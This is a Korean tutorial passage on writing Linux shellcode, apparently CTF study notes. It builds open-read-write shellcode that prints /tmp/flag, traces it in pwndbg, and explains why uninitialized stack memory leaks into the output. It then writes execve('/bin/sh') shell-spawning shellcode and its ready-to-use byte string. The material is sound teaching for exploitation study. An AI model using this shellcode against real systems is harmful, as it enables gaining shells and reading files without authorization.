orw 셸코드는 파일을 열고, 읽은 뒤 화면에 출력해주는 셸코드임.
구현하고자 하는 셸코드의 동작을 C언어 형식의 의사코드로 표현하면 다음과 같음
char buf[0x30];
int fd = open("/tmp/flag", RD_ONLY, NULL);
read(fd, buf, 0x30);
write(1, buf, 0x30);
첫 번째로 해야 할 일은 "/tmp/flag"라는 문자열을 메모리에 위치시키는 것임
-> 이를 위해 0x616c662f706d742f67(/tmp/flag)를 push하고, rdi가 이를 가리키도록 rsp를 rdi로 옮김
O_RDONLY는 0이므로, rsi는 0으로 설정함
#define O_RDONLY 0 /* Open read-only. */
#define O_WRONLY 1 /* Open write-only. */
#define O_RDWR 2 /* Open read/write. */
파일을 읽을 때, mode는 의미를 갖지 않으므로, rdx는 0으로 설정함
마지막으로 rax를 open의 syscall 값인 2로 설정함
push 0x67 // "g"
mov rax, 0x616c662f706d742f // "alf/pmt/" -> little endian 형식이므로
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
syscall의 반환 값은 rax로 저장되므로, open으로 획득한 /tmp/flag의 fd는 rax에 저장됨
여기서 잠깐, fd(파일 서술자)가 뭐지?
- 파일 서술자는 유닉스 계열의 운영체제에서 파일에 접근하는 소프트웨어에 제공하는 가상의 접근 제어자임
- 일반적으로 0번은 일반 입력, 1번은 일반 출력, 2번은 일반 오류에 할당되어 있음
- 프로세스가 생성된 이후, 위의 open같은 함수를 통해 어떤 파일과 프로세스를 연결하려고 하면, 기본으로 할당된 2번 이후의 번호를 새로운 fd에 차례로 할당 -> 프로세스는 그 fd를 이용해서 파일에 접근 가능함
다시 돌아와서, read의 첫 번째 인자를 이 값으로 설정해야 하므로, rax를 rdi에 대입함
rsi는 파일에서 읽은 데이터를 저장할 주소를 가리키고, 0ㅌ30만큼 읽을 것이므로 rsi에 rsp - 0x30을 대입함
rdx는 파일로부터 읽어낼 데이터의 길이인 0x30으로 설정함
read 시스템콜을 호출하기 위해서 rax를 0으로 설정함
mov rdi, rax
mov rsi, rsp
sub rsi, 0x30
mov rdx, 0x30
mov rax, 0x0
syscall
출력은 stdout으로 할 것이므로, rdi를 0x1로 설정함
rsi와 rdx는 read에서 사용한 값을 그대로 사용함
write 시스템콜을 호출하기 위해서 rax를 1로 설정함
mov rdi, 1
mov rax, 0x1
syscall
이들을 모두 종합하면 다음과 같음
push 0x67
mov rax, 0x616c662f706d742f
push rax
mov rdi, rsp ; rdi = "/tmp/flag"
xor rsi, rsi ; rsi = 0 ; RD_ONLY
xor rdx, rdx ; rdx = 0
mov rax, 2 ; rax = 2 ; syscall_open
syscall ; open("/tmp/flag", RD_ONLY, NULL)
mov rdi, rax ; rdi = fd
mov rsi, rsp
sub rsi, 0x30 ; rsi = rsp-0x30 ; buf
mov rdx, 0x30 ; rdx = 0x30 ; len
mov rax, 0x0 ; rax = 0 ; syscall_read
syscall ; read(fd, buf, 0x30)
mov rdi, 1 ; rdi = 1 ; fd = stdout
mov rax, 0x1 ; rax = 1 ; syscall_write
syscall ; write(fd, buf, 0x30)
여기에서는 셸코드를 실행할 수 있는 스켈레톤 코드를 C언어로 작성하고, 거기에 셸코드를 탑재하는 방법을 사용함
// File name: sh-skeleton.c
// Compile Option: gcc -o sh-skeleton sh-skeleton.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"Input your shellcode here.\n"
"Each line of your shellcode should be\n"
"seperated by '\n'\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
위의 스켈레톤 코드를 이용해서 셸코드를 채워본다.
// File name: orw.c
// Compile: gcc -o orw orw.c -masm=intel
__asm__(
".global run_sh\n"
"run_sh:\n"
"push 0x67\n"
"mov rax, 0x616c662f706d742f \n"
"push rax\n"
"mov rdi, rsp # rdi = '/tmp/flag'\n"
"xor rsi, rsi # rsi = 0 ; RD_ONLY\n"
"xor rdx, rdx # rdx = 0\n"
"mov rax, 2 # rax = 2 ; syscall_open\n"
"syscall # open('/tmp/flag', RD_ONLY, NULL)\n"
"\n"
"mov rdi, rax # rdi = fd\n"
"mov rsi, rsp\n"
"sub rsi, 0x30 # rsi = rsp-0x30 ; buf\n"
"mov rdx, 0x30 # rdx = 0x30 ; len\n"
"mov rax, 0x0 # rax = 0 ; syscall_read\n"
"syscall # read(fd, buf, 0x30)\n"
"\n"
"mov rdi, 1 # rdi = 1 ; fd = stdout\n"
"mov rax, 0x1 # rax = 1 ; syscall_write\n"
"syscall # write(fd, buf, 0x30)\n"
"\n"
"xor rdi, rdi # rdi = 0\n"
"mov rax, 0x3c # rax = sys_exit\n"
"syscall # exit(0)");
void run_sh();
int main() { run_sh(); }
이 코드를 실행시켰을 때, /tmp/flag 파일이 존재할 때 다음과 같은 결과가 나온다.
gcc -o orw orw.c -masm=intel
./orw
flag{this_is_open_read_write_shellcode!}
&��U
그런데, /tmp/flag의 내용 말고도, 몇 자의 문자열들이 함께 출력된다. 왜?
orw를 gdb로 열고, run_sh() 함수에 브레이크 포인트를 설정함
첫 번째 syscall전까지 실행하고, syscall에 들어가는 인자를 확인해본다.
[REGISTERS]
RAX 0x2
RBX 0x0
RCX 0x555555554670 (__libc_csu_init) ◂— push r15
RDX 0x0
RDI 0x7fffffffc2a8 ◂— '/tmp/flag'
RSI 0x0
...
[DISASM]
0x555555554606 <run_sh+12> push rax
0x555555554607 <run_sh+13> mov rdi, rsp
0x55555555460a <run_sh+16> xor rsi, rsi
0x55555555460d <run_sh+19> xor rdx, rdx
0x555555554610 <run_sh+22> mov rax, 2
► 0x555555554617 <run_sh+29> syscall <SYS_open>
file: 0x7fffffffc2a8 ◂— '/tmp/flag'
oflag: 0x0
vararg: 0x0
pwndbg 플러그인은 syscall을 호출할 때, 인자를 분석해줌. -> open("/tmp/flag", O_RDONLY, NULL)가 실행됨
open 시스템 콜을 수행한 결과로 /tmp/flag의 fd(3)가 rax에 저장됨
[REG]
*RAX 0x3
RBX 0x0
*RCX 0x555555554619 (run_sh+31) ◂— mov rdi, rax
RDX 0x0
RDI 0x7fffffffc2a8 ◂— '/tmp/flag'
RSI 0x0
...
[DISASM]
0x555555554607 <run_sh+13> mov rdi, rsp
0x55555555460a <run_sh+16> xor rsi, rsi
0x55555555460d <run_sh+19> xor rdx, rdx
0x555555554610 <run_sh+22> mov rax, 2
0x555555554617 <run_sh+29> syscall
► 0x555555554619 <run_sh+31> mov rdi, rax
마찬가지로 두 번째 syscall 직전까지 실행하고 인자를 살펴본다.
[REGISTERS]
*RAX 0x0
RBX 0x0
RCX 0x555555554619 (run_sh+31) ◂— mov rdi, rax
RDX 0x30
RDI 0x3
RSI 0x7fffffffc278 ◂— 0xf0b5ff
[DISASM]
0x555555554619 <run_sh+31> mov rdi, rax
0x55555555461c <run_sh+34> mov rsi, rsp
0x55555555461f <run_sh+37> sub rsi, 0x30
0x555555554623 <run_sh+41> mov rdx, 0x30
0x55555555462a <run_sh+48> mov rax, 0
► 0x555555554631 <run_sh+55> syscall <SYS_read>
fd: 0x3
buf: 0x7fffffffc278 ◂— 0xf0b5ff
nbytes: 0x30
[DISASM]
0x55555555461c <run_sh+34> mov rsi, rsp
0x55555555461f <run_sh+37> sub rsi, 0x30
0x555555554623 <run_sh+41> mov rdx, 0x30
0x55555555462a <run_sh+48> mov rax, 0
0x555555554631 <run_sh+55> syscall
► 0x555555554633 <run_sh+57> mov rdi, 1
실행 결과를 x/s로 확인해보면,
pwndbg> x/s 0x7fffffffc278
0x7fffffffc278: "flag{this_is_open_read_write_shellcode!}\nFUUUU"
문자열이 성공적으로 저장된 것을 확인할 수 있음
마지막으로, 읽어낸 데이터를 출력하는 write 시스템 콜을 실행함
[REGISTERS]
*RAX 0x1
RBX 0x0
RCX 0x555555554633 (run_sh+57) ◂— mov rdi, 1
RDX 0x30
RDI 0x1
RSI 0x7fffffffc278 ◂— 'flag{this_is_open_read_write_shellcode!}\nFUUUU'
[DISASM]
0x555555554623 <run_sh+41> mov rdx, 0x30
0x55555555462a <run_sh+48> mov rax, 0
0x555555554631 <run_sh+55> syscall
0x555555554633 <run_sh+57> mov rdi, 1
0x55555555463a <run_sh+64> mov rax, 1
► 0x555555554641 <run_sh+71> syscall <SYS_write>
데이터를 저장한 장소에서 48바이트를 출력함
flag{this_is_open_read_write_shellcode!}
FUUUU
이번에도 /tmp/flag의 데이터 외에 알 수 없는 문자열이 출려됨 -> 초기화되지 않은 메모리 영역 사용에 의한 것임
초기화 되지 않은 메모리 사용(Use of Uninitialized Memory)
- 모든 함수는 자신들의 스택 프레임을 할당해서 사용하고, 종료될 때 해제함.
- 그런데 해제는 사용한 영역을 0으로 초기화하는 것이 아니라, 단순히 rsp와 rbp를 호출한 함수의 것으로 이동시키는 것을 말함
- 이 때 어떤 함수를 해제한 이후에 다른 함수가 스택 프레임을 그 위에 할당하면, 이전 스택 프레임의 데이터는 여전히 새로 할당한 스택 프레임 위에 존재하게 됨 -> 우리는 이를 쓰레기 값이라고 표현함
[DISASM]
0x55555555461c <run_sh+34> mov rsi, rsp
0x55555555461f <run_sh+37> sub rsi, 0x30
0x555555554623 <run_sh+41> mov rdx, 0x30
0x55555555462a <run_sh+48> mov rax, 0
0x555555554631 <run_sh+55> syscall
► 0x555555554633 <run_sh+57> mov rdi, 1
아까와 같이 파일을 읽어서 스택에 저장함. 스택의 영역을 다시 조회하면
pwndbg> x/6gx 0x7fffffffc278
0x7fffffffc278: 0x6968747b67616c66 0x65706f5f73695f73
0x7fffffffc288: 0x775f646165725f6e 0x6568735f65746972
0x7fffffffc298: 0x7d2165646f636c6c 0x000055555555460a
48바이트 중, 앞의 40바이트만 우리가 저장한 파일의 데이터이고, 뒤의 8바이트는 우리가 저장한 적이 없는 데이터임 -> 이 데이터가 나중에 write시스템 콜을 수행할 때 플래그와 함께 출력됨
execve 셸코드는 임의의 프로그램을 실행하는 셸코드인데, 이를 이용하면 서버의 셸을 획득할 수 있음
execve 셸코드는 execve 시스템 콜만으로 구성됨
여기서 argv는 실행파일에 넘겨줄 인자, envp는 환경변수이다. 우리는 sh만 실행하면 되므로 다른 값들은 전부 null로 설정해주어도 됨
mov rax, 0x68732f6e69622f
push rax
mov rdi, rsp ; rdi = "/bin/sh\x00"
xor rsi, rsi ; rsi = NULL
xor rdx, rdx ; rdx = NULL
mov rax, 0x3b ; rax = sys_execve
syscall ; execve("/bin/sh", null, null)
아래 주어진 shellcode.asm을 바이트 코드로 바꿔보자.
; File name: shellcode.asm
section .text
global _start
_start:
xor eax, eax
push eax
push 0x68732f2f
push 0x6e69622f
mov ebx, esp
xor ecx, ecx
xor edx, edx
mov al, 0xb
int 0x80
$ sudo apt-get install nasm
$ nasm -f elf shellcode.asm
$ objdump -d shellcode.o
shellcode.o: file format elf32-i386
Disassembly of section .text:
00000000 <_start>:
0: 31 c0 xor %eax,%eax
2: 50 push %eax
3: 68 2f 2f 73 68 push $0x68732f2f
8: 68 2f 62 69 6e push $0x6e69622f
d: 89 e3 mov %esp,%ebx
f: 31 c9 xor %ecx,%ecx
11: 31 d2 xor %edx,%edx
13: b0 0b mov $0xb,%al
15: cd 80 int $0x80
$
$ objcopy --dump-section .text=shellcode.bin shellcode.o
$ xxd shellcode.bin
00000000: 31c0 5068 2f2f 7368 682f 6269 6e89 e331 1.Ph//shh/bin..1
00000010: c931 d2b0 0bcd 80 .1.....
$
execve /bin/sh shellcode:
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x31\xd2\xb0\x0b\xcd\x80"